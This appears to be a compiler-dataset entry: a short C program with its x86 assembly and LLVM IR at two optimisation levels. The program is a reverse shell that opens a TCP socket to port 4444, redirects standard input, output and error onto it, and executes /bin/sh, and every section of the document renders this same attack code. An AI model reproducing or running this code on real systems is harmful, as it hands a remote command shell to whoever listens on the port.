#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_zero;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, char *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ memset(int /*<<< orphan*/, char, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main() {
  int sockfd;
  struct sockaddr_in servSA;
  servSA.sin_family = AF_INET;
  servSA.sin_port = htons(4444);
  servSA.sin_addr.s_addr = INADDR_ANY;
  memset(servSA.sin_zero, '\0', sizeof servSA.sin_zero);
  char *arg_list[] = {{"/bin/sh"}, NULL};
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  connect(sockfd, (struct sockaddr *)&servSA, sizeof servSA);
  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);
  execve(arg_list[0], arg_list, arg_list[1]);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2e6a(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0xc(%rbp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,-0x10(%rbp)
mov    0x2e49(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x14(%rbp)
mov    -0x18(%rbp),%edi
xor    %esi,%esi
mov    $0x4,%edx
call   1050 <memset@plt>
mov    0x2c46(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0x2c43(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    0x2e20(%rip),%rax
mov    (%rax),%edi
mov    0x2dff(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x18(%rbp),%rsi
mov    $0x10,%edx
call   1070 <connect@plt>
mov    -0x8(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x30(%rbp),%rdi
lea    -0x30(%rbp),%rsi
mov    -0x28(%rbp),%rdx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x20,%rsp
mov    0x2e74(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0xc(%rsp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,0x8(%rsp)
mov    0x2e51(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x4(%rsp)
xor    %esi,%esi
mov    $0x4,%edx
call   1050 <memset@plt>
movaps 0x2c50(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
mov    (%rbx),%edi
mov    0x2e1a(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,%ebx
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0x10,%edx
call   1070 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe10(%rip),%rdi
lea    0x10(%rsp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbx
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca %struct.sockaddr_in
%4 = alloca [2 x i8*]
store i32 0, i32* %1
%5 = load i32, i32* @AF_INET
%6 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 3
store i32 %5, i32* %6
%7 = call i32 @htons(i32 4444)
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 2
store i32 %7, i32* %8
%9 = load i32, i32* @INADDR_ANY
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 1
%11 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %10, i32 0, i32 0
store i32 %9, i32* %11
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i32 0, i32 0
%13 = load i32, i32* %12
%14 = call i32 @memset(i32 %13, i8 signext 0, i32 4)
%15 = bitcast [2 x i8*]* %4 to i8*
%16 = load i32, i32* @AF_INET
%17 = load i32, i32* @SOCK_STREAM
%18 = call i32 @socket(i32 %16, i32 %17, i32 0)
store i32 %18, i32* %2
%19 = load i32, i32* %2
%20 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%21 = call i32 @connect(i32 %19, %struct.sockaddr* %20, i32 16)
%22 = load i32, i32* %2
%23 = call i32 @dup2(i32 %22, i32 0)
%24 = load i32, i32* %2
%25 = call i32 @dup2(i32 %24, i32 1)
%26 = load i32, i32* %2
%27 = call i32 @dup2(i32 %26, i32 2)
%28 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 0
%29 = load i8*, i8** %28
%30 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 0
%31 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 1
%32 = load i8*, i8** %31
%33 = call i32 @execve(i8* %29, i8** %30, i8* %32)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = alloca [2 x i8*]
%3 = bitcast %struct.sockaddr_in* %1 to i8*
%4 = load i32, i32* @AF_INET
%5 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 3
store i32 %4, i32* %5
%6 = tail call i32 @htons(i32 4444)
%7 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
store i32 %6, i32* %7
%8 = load i32, i32* @INADDR_ANY
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1, i32 0
store i32 %8, i32* %9
%10 = tail call i32 @memset(i32 undef, i8 signext 0, i32 4)
%11 = bitcast [2 x i8*]* %2 to i8*
%12 = load i32, i32* @AF_INET
%13 = load i32, i32* @SOCK_STREAM
%14 = tail call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%16 = call i32 @connect(i32 %14, %struct.sockaddr* %15, i32 16)
%17 = call i32 @dup2(i32 %14, i32 0)
%18 = call i32 @dup2(i32 %14, i32 1)
%19 = call i32 @dup2(i32 %14, i32 2)
%20 = getelementptr inbounds [2 x i8*], [2 x i8*]* %2, i64 0, i64 0
%21 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %20, i8* null)
ret i32 0
}